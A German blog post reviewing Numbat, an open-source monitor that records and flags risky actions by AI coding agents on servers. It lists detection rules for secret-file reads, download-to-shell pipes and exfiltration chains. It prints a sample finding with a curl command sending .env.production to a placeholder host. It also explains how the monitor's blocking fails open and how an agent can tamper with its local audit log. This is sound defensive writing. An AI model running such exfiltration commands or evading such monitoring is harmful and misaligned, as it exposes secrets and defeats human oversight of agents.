SSD Nodes Learn 🎉 VPS ab $4.99/Monat
Anleitungen Matt ConnorVon Matt Connor

Numbat: Was Ihr KI-Agent auf Servern wirklich tut

Perplexity veröffentlicht Numbat unter Apache 2.0. Der Monitor liest Hooks und Sitzungsdateien, erkennt riskante Aktionen wie SSH-Schlüsselzugriff, stoppt sie aber nicht.

Was Numbat ist

Numbat zeigt Ihnen, was ein KI-Agent auf einem System getan hat, das Ihnen gehört. Es liest die Hook-Callbacks und Sitzungsdateien, die Coding-Agenten bereits erzeugen, normalisiert sie in ein einheitliches Ereignisformat und gleicht sie mit Regeln ab. Diese Regeln lösen bei Verhaltensweisen wie dem Lesen eines privaten SSH-Schlüssels oder dem direkten Weiterleiten eines Downloads an eine Shell aus. Perplexity hat Numbat unter Apache 2.0 als Open Source veröffentlicht. Die erste getaggte Version wurde am 29. Juli 2026 veröffentlicht.

Alle folgenden Informationen stammen aus dem Repository des Projekts und der zugehörigen Dokumentation, die am 2. August 2026 gelesen wurden. Wenn Perplexity eine Behauptung aufstellt, wird dies in diesem Beitrag kenntlich gemacht. Dies ist keine Installationsanleitung, da das Repository erst seit wenigen Tagen existiert und sich seine Befehle ändern werden.

Das Problem: Niemand dokumentiert, was der Agent getan hat

Ein Coding-Agent auf Ihrem VPS führt Shell-Befehle aus, liest Dateien, schreibt Dateien und öffnet Netzwerkverbindungen. Dabei verwendet er den Benutzer, den Sie ihm zugewiesen haben. Ihre Shell-Historie erfasst davon nichts, weil der Agent keine Eingaben in Ihre Shell schreibt. sshd protokolliert Ihre Anmeldung, aber nichts, was das Modell danach entscheidet. /var/log/auth.log bleibt inaktiv, sofern nichts auf sudo zugreift. Der Agent führt ein eigenes Transkript. Diese Datei liegt jedoch im Sitzungsverzeichnis des Agents, ihr Format ändert sich zwischen Releases, und der Prozess des Agents selbst kann in diese Datei schreiben.

Wenn Sie also gefragt werden, ob der Agent letzten Dienstag .env.production gelesen hat, lautet die ehrliche Antwort auf den meisten Servern: Das lässt sich nicht feststellen. Diese Lücke ist der Grund für dieses Projekt.

Was Perplexity zufolge Numbat leistet

Die README beschreibt das Tool zunächst als „Endpoint-Transparenz für Aktivitäten von KI-Agenten, mit lokaler Erkennung, optionaler Blockierung vor Aktionen und forensischer Rekonstruktion“. Mit Endpoint ist hier das System gemeint, auf dem der Agent ausgeführt wird, nicht ein Netzwerkgerät, das den Datenverkehr von außen überwacht. Das sind getrennte Funktionen und sie haben unterschiedliches Gewicht.

Die Erkennung erfolgt auf dem Gerät. Die Regeln werden in CEL (Common Expression Language) geschrieben und lokal ausgewertet. Darauf aufbauend gibt es Regeln für mehrstufige Sequenzen sowie Unterstützung für eigene Regeln in YAML. Damit eine Regel ausgelöst wird, muss nichts das System verlassen.

Die Blockierung ist optional und auf einen engen Anwendungsfall begrenzt. Sie funktioniert nur über synchrone Hooks vor einer Aktion und nur bei Agenten, die solche Hooks bereitstellen. Standardmäßig ist sie deaktiviert.

Die Rekonstruktion erfolgt nachträglich. numbat scan analysiert Sitzungsartefakte, die ein Agent bereits auf der Festplatte gespeichert hat. Dadurch können Sie Aktivitäten untersuchen, die vor der Installation des Tools stattgefunden haben. Das Projekt grenzt diese Aussage ausdrücklich ein: „Die Rekonstruktion ruhender Daten ist keine Erfassung von Festplatten- oder Speicherinhalten und kann keine Aktivitäten wiederherstellen, die ein Agent nicht gespeichert hat.“

Die Ausgabe verwendet versioniertes NDJSON (JSON mit einem Datensatz pro Zeile) für Ereignisse, Befunde, Durchsetzungsentscheidungen, Indikatoren und Scan-Zusammenfassungen. Ab v0.1.2 gilt dafür das Schema in Version 0.2.0. Die Datensätze werden nach stdout oder in eine lokale Datei geschrieben und können optional per HTTP an einen von Ihnen betriebenen Collector gesendet werden. Das Projekt wird als eine statische Go-Binärdatei ohne cgo für macOS, Linux und Windows auf amd64 und arm64 veröffentlicht. Auf einem Linux-VPS besteht die Installation daher aus einer einzelnen Datei; zuvor muss keine Laufzeitumgebung installiert werden.

Welche Agents kann Numbat tatsächlich erkennen?

Die Abdeckungsmatrix in docs/agent-coverage.md ist die maßgebliche Liste, und die Abdeckung ist uneinheitlich. Das Projekt weist ausdrücklich darauf hin, statt diese Unterschiede zu verbergen. Claude Code, Codex, Gemini CLI, Cursor und GitHub Copilot CLI unterstützen sowohl die Artefaktanalyse als auch die Live-Erfassung mit einem Pre-Action-Hook. OpenClaw erhält ab Version 2026.7.1 ein natives Plugin. Viele weitere Einträge sind als zurückgestellt gekennzeichnet. Das bedeutet, dass ein Live-Hook-Pfad vorhanden ist, der Artefaktparser jedoch fehlt. Der häufige Grund ist, dass der Agent seinen Verlauf in SQLite mit einem Write-Ahead-Log speichert, das während der Ausführung des Agents nicht sicher gelesen werden kann. OpenCode und Cline gehörten zu dieser Gruppe, als die Matrix am 2. August 2026 gelesen wurde.

Prüfen Sie die Zeile Ihres Agents, bevor Sie auf dieser Grundlage etwas mit diesem Tool planen. „Unterstützt“ bedeutet in fast jeder Zeile etwas anderes.

So sieht eine Erkennung aus

Regeln enthalten IDs, die ihren Zweck angeben. secrets.read_private_key deckt einen SSH-Schlüssel, AWS-Anmeldedaten, eine kube-Konfiguration oder eine Anmeldung bei einer Paketregistrierung ab. exec.download_pipe_shell wird ausgelöst, wenn die Ausgabe von curl oder wget an einen Interpreter weitergeleitet wird. privilege.elevated_shell erkennt eine Anforderung für eine interaktive root-Shell über sudo, doas, su oder pkexec. impact.cryptomining_launch stimmt mit bekannten Miner-Binärdateien und Image-Namen überein.

Sequenzregeln verknüpfen Ereignisse innerhalb einer Sitzung. chain.secret_read_then_egress erfordert das Lesen einer geheimen Datei, gefolgt von einem Befehl, der Daten nach außen überträgt. Die README veröffentlicht den folgenden Befund aus einer kontrollierten Wiederholung von zwei Pre-Action-Callbacks von Claude Code, nicht aus einem Live-Vorfall. Hier ist er auf die relevanten Felder gekürzt:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Beachten Sie "confidence": "medium" innerhalb des Datensatzes. Beachten Sie außerdem, was das Projekt über diese gesamte Klasse von Ausgaben sagt: „Befunde sind Regelübereinstimmungen, kein Beweis für eine Kompromittierung.“ Ein Deploy-Skript, das einen Schlüssel liest und anschließend ein Build-Artefakt hochlädt, stimmt mit derselben Sequenzregel überein. Die Übereinstimmung ist korrekt, und der Alarm ist falsch. Das ist der Normalzustand jedes Erkennungstools, das Sie jemals ausgeführt haben.

Blockieren ist standardmäßig deaktiviert, und bei Fehlern wird die Aktion zugelassen

Jede von Numbat ausgelieferte Regel dient nur der Überwachung. Eine Regel in eine Blockierungsregel umzuwandeln, erfordert bewusste Konfigurationsarbeit: Kopieren Sie das vollständige YAML der Regel in Ihr eigenes Verzeichnis, behalten Sie dieselbe id bei, fügen Sie enforce: true hinzu, erhöhen Sie die Version und validieren und installieren Sie anschließend diese Richtlinie.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Entscheidend ist nun, wie weit Sie dieser Funktion vertrauen sollten. Numbats deny ist eine an den Agent zurückgegebene Antwort. Der Agent verweigert den Tool-Aufruf tatsächlich. Der Leitfaden zur Durchsetzung beschreibt direkt, was geschieht, wenn Numbat selbst ein Problem hat: „Fehlerhafte Payloads, relevante Auswertungsfehler, Panics und Fehler bei der Ausgabe unterdrücken die numbat deny.“ Die Eingabe für den Hook ist auf 4 MiB begrenzt. Eine zu große Eingabe durchläuft denselben Pfad.

Der Leitfaden beschreibt ebenso direkt die Einschränkung einer deny-Antwort, die tatsächlich zurückgegeben wird: „Fail-open bedeutet, dass numbat seine deny-Antwort zurückhält. Dies garantiert nicht, dass das Tool ausgeführt wird: Der Host kann weiterhin eine Bestätigung anfordern, den Aufruf verweigern, eine Zeitüberschreitung auslösen oder einen anderen Hook oder eine andere Richtlinie anwenden.“

Die Durchsetzung ist hier also eine Schutzvorrichtung und keine Sicherheitsgrenze. Wenn der Prozess abstürzt, wird die Aktion nicht von Numbat blockiert. Ein Monitor, der Ihren Agent bei jedem eigenen Fehler anhält, wird innerhalb einer Woche deinstalliert. Dieser Kompromiss ist vertretbar. Bauen Sie jedoch kein Sicherheitsmodell auf der Annahme auf, dass die deny-Antwort immer eintrifft.

Wo Numbat neben Ihrer bisherigen Arbeitsweise einzuordnen ist

Numbat läuft auf dem Endpunkt innerhalb des eigenen Prozessbaums des Agents und schreibt standardmäßig in ~/.numbat/records.ndjson. Ein Agent, der unter Ihrem Benutzerkonto läuft, kann diese Datei lesen. Er kann sie auch bearbeiten. Die Aussagekraft des Audit-Trails entspricht genau der Isolation, die ihn schützt. Dadurch müssen alle vorhandenen Kontrollen vor dieser Kontrolle greifen und nicht dahinter.

Dem Coding-Agent eine kurzlebige VM zu geben begrenzt, worauf ein fehlerhafter Lauf zugreifen kann. Ein Benutzer mit geringsten Berechtigungen auf dem VPS hält den Agenten von Dateien fern, die er nicht öffnen darf. Zugangsdaten aus dem Kontext des Agents fernzuhalten sorgt dafür, dass eine secrets.read_private_key-Übereinstimmung selten genug ist, um bei ihrem Auftreten untersucht zu werden. Und die Sandbox, die Sie für Claude Code auf einem VPS einrichten übernimmt weiterhin die Isolation.

Numbat ergänzt diese Kontrollen um die Aufzeichnung. Senden Sie die Aufzeichnung daher an einen Ort, auf den der Agent nicht zugreifen kann. numbat ship und der HTTP-Sink sind dafür vorgesehen. Eine Kopie des Datenstroms auf einem zweiten Rechner macht den Unterschied zwischen einer Protokolldatei und einem Beweismittel aus. Das Ereignismodell enthält außerdem MCP-Felder (model context protocol). Dadurch erscheinen Tool-Aufrufe, die über einen von Ihnen auf einem VPS gehosteten MCP-Server ausgeführt werden, im selben Datenstrom wie lokale Shell-Befehle. Das ist wichtig, weil dieser Pfad für alles unsichtbar ist, das nur bash überwacht.

Zuerst im schreibgeschützten Modus testen

Installieren Sie eine festgelegte Version. Für go install ist Go 1.26.5 oder neuer erforderlich. Die Release-Seite enthält vorkompilierte Binärdateien mit SHA-256-Prüfsummen, falls Sie den Quellcode nicht selbst kompilieren möchten.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents erkennt auf dem System installierte Agents. numbat scan verarbeitet die bereits auf dem Datenträger vorhandenen Sitzungsartefakte und gibt Datensätze aus. In der README steht, dass diese Befehle „keine Hooks installieren und die Agent-Konfiguration nicht ändern“. Außerdem führt numbat „niemals Agents oder in Artefakten gefundene Befehle aus und stellt ausgehende Anfragen nur an konfigurierte HTTP-Sinks“. Die Suche ist schreibgeschützt und redigiert Geheimnisse. Die normale Datensatzausgabe enthält niemals ein vollständiges ungekürztes Transkript.

Die Live-Erfassung ist der nächste Schritt. Dabei wird die Agent-Konfiguration geändert:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all schreibt Ereignisse, Befunde, Indikatoren und zutreffende Durchsetzungsentscheidungen nach ~/.numbat/records.ndjson. Zwei Hinweise stammen direkt aus dem Projekt. Hooks müssen möglicherweise zuerst innerhalb des Agents als vertrauenswürdig eingestuft werden, bevor sie überhaupt ausgeführt werden. Diese Vertrauensstellung muss erneut überprüft werden, nachdem Sie Flags wie --enforce geändert haben. Außerdem „überprüft“ hook status „die Konfiguration, nicht die Ausführung oder Zustellung“. Eine Statuszeile ohne Fehler ist daher kein Beleg dafür, dass Datensätze irgendwo ankommen.

Warum ein so neues Repository keine Abhängigkeit ist

Die öffentlichen Releases sind v0.1.1 vom 29. Juli 2026 und v0.1.2 vom 1. August 2026. Das Repository hatte am 2. August 2026, als dieser Beitrag verfasst wurde, 597 Sterne. Ein derart schneller Anstieg spiegelt die Reichweite von Perplexity wider, nicht die Belastbarkeit des Codes. Ein Stern bedeutet, dass jemand die Seite gespeichert hat, um sie später anzusehen.

Die Versionsnummer beschreibt den Reifegrad korrekt. Die Hinweise zu v0.1.2 betreffen überwiegend Korrekturen bei der Entfernung von Zugangsdaten sowie die Normalisierung von Case-Bundles und Telemetriedaten. Fehler bei der Entfernung von Zugangsdaten sind typische frühe Fehler in einem Tool, dessen Aufgabe darin besteht, Transkripte anderer Programme sicher zu lesen. Weitere Fehler sind zu erwarten, weil die Eingaben von einem Dutzend Agents stammen, die ihre Formate jeweils nach eigenen Zeitplänen ändern.

Daraus ergeben sich zwei praktische Regeln. Fixieren Sie in allem, was Sie aufbewahren, den Tag, niemals @latest. Betrachten Sie das Tool außerdem als Instrument, das Sie evaluieren, und nicht als Steuerung, auf die Sie sich verlassen, zumindest solange sich das Schema der Datensätze noch ändert.

FAQ

Blockiert Numbat gefährliche Befehle von KI-Agenten?

Nur wenn Sie dies ausdrücklich aktivieren, und auch dann nur nach bestem Bemühen. Jede von Numbat ausgelieferte Regel dient nur der Überwachung. Zum Blockieren kopieren Sie das YAML der Regel in Ihr eigenes Verzeichnis, behalten die ID bei, fügen enforce: true hinzu, erhöhen die Version und installieren den Hook mit --enforce. Auch dann wird die Ablehnung als Antwort an den Agenten zurückgegeben, und der Agent verweigert den Aufruf. Das Projekt dokumentiert ein Fail-open-Verhalten: Fehlerhafte Payloads, Auswertungsfehler, Panics und Ausgabefehler unterdrücken die Ablehnung. Verwenden Sie dies als Schutzmaßnahme, nicht als einzige Sicherheitsgrenze.

Welche KI-Agenten unterstützt Numbat?

Die Abdeckung unterscheidet sich je nach Agent und ist in docs/agent-coverage.md im Repository aufgeführt. Claude Code, Codex, Gemini CLI, Cursor und GitHub Copilot CLI verfügten beim Lesen dieser Seite am 2. August 2026 sowohl über Artefaktscans als auch über Live-Erfassung. OpenClaw verfügt ab Version 2026.7.1 über ein natives Plugin. Viele andere Agenten sind mit einem Pfad für einen Live-Hook aufgeführt, verfügen aber noch über keinen Parser für Artefakte. Der Grund ist meist, dass ihre Sitzungsverläufe in einer SQLite-Datenbank liegen, die während der Ausführung des Agenten nicht sicher gelesen werden kann. Lesen Sie den Eintrag für Ihren Agenten, da der Begriff „unterstützt“ dort mehrere unterschiedliche Stufen umfasst.

Kann der Agent die Datensätze von Numbat manipulieren?

Ja, wenn er als derselbe Benutzer ausgeführt wird. Datensätze werden standardmäßig unter ~/.numbat/records.ndjson auf demselben Rechner wie der Agent gespeichert. Alles mit Schreibzugriff auf diesen Pfad kann sie daher ändern oder löschen. Senden Sie den Datenstrom mit numbat ship oder dem HTTP-Sink an einen Collector, den der Agent nicht erreichen kann, und behalten Sie die lokale Datei als praktische Kopie. Deshalb ergänzt das Tool die Isolation, anstatt sie zu ersetzen. Ein Agent, der unter einem Benutzer mit geringsten Berechtigungen in einer verworfenen VM eingeschränkt ist, hat deutlich weniger Zugriff auf seine eigene Prüfspur.

Ist Numbat für einen Produktionsserver bereit?

Nicht als Kontrolle, auf die Sie sich verlassen. Die erste öffentliche Version war v0.1.1 am 29. Juli 2026, und v0.1.2 folgte am 1. August 2026. Daher ändern sich sowohl die Flags als auch das Datensatzschema noch. Die Ausführung von numbat agents und numbat scan auf einem Rechner ist schreibgeschützt und risikoarm. Sie zeigt Ihnen, welche Daten Ihre Agenten auf der Festplatte hinterlassen haben. Die Installation von Enforcement-Hooks auf einem wichtigen Server ist eine andere Entscheidung. Sie erfordert ein festgelegtes Tag und einen Plan für den Fall, dass sich der Hook fehlerhaft verhält.